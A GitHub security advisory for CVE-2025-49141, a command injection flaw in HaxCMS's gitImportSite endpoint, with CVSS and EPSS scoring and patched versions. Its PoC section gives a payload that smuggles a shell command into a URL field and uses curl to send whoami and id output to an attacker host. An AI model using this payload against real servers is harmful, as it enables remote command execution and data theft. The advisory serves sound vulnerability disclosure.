Skip to content

HaxCMS-PHP Command Injection Vulnerability

High severity GitHub Reviewed Published Jun 9, 2025 in haxtheweb/issues • Updated Jun 9, 2025

Package

npm @haxtheweb/haxcms-nodejs (npm)

Affected versions

< 11.0.3

Patched versions

11.0.3

Description

Summary

The 'gitImportSite' functionality obtains a URL string from a POST request and insufficiently validates user input. The ’set_remote’ function later passes this input into ’proc_open’, yielding OS command injection.

Details

The vulnerability exists in the logic of the ’gitImportSite’ function, located in ’Operations.php’. The current implementation only relies on the ’filter_var’ and 'strpos' functions to validate the URL, which is not sufficient to ensure absence of all Bash special characters used for command injection.
gitImportSite

Affected Resources

• Operations.php:2103 gitImportSite()
• <domain>/<user>/system/api/gitImportSite

PoC

To replicate this vulnerability, authenticate and send a POST request to the 'gitImportSite' endpoint with a crafted URL in the JSON data. Note, a valid token needs to be obtained by capturing a request to another API endpoint (such as 'archiveSite').

  1. Start a webserver.
    webserver

  2. Initiate a request to the ’archiveSite’ endpoint.
    archiveSite

  3. Capture and modify the request in BurpSuite.
    request-modification

  4. Observe command output in the HTTP request from the server.
    command-output

Command Injection Payload

http://<IP>/.git;curl${IFS}<IP>/$(whoami)/$(id)#=abcdef

Impact

An authenticated attacker can craft a URL string that bypasses the validation checks employed by the ’filter_var’ and ’strpos’ functions in order to execute arbitrary OS commands on the backend server. The attacker can exfiltrate command output via an HTTP request.

References

@btopro btopro published to haxtheweb/issues Jun 9, 2025
Published to the GitHub Advisory Database Jun 9, 2025
Reviewed Jun 9, 2025
Published by the National Vulnerability Database Jun 9, 2025
Last updated Jun 9, 2025

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
High
Privileges required
Low
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(52nd percentile)

Weaknesses

CVE ID

CVE-2025-49141

GHSA ID

GHSA-g4cf-pp4x-hqgw

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.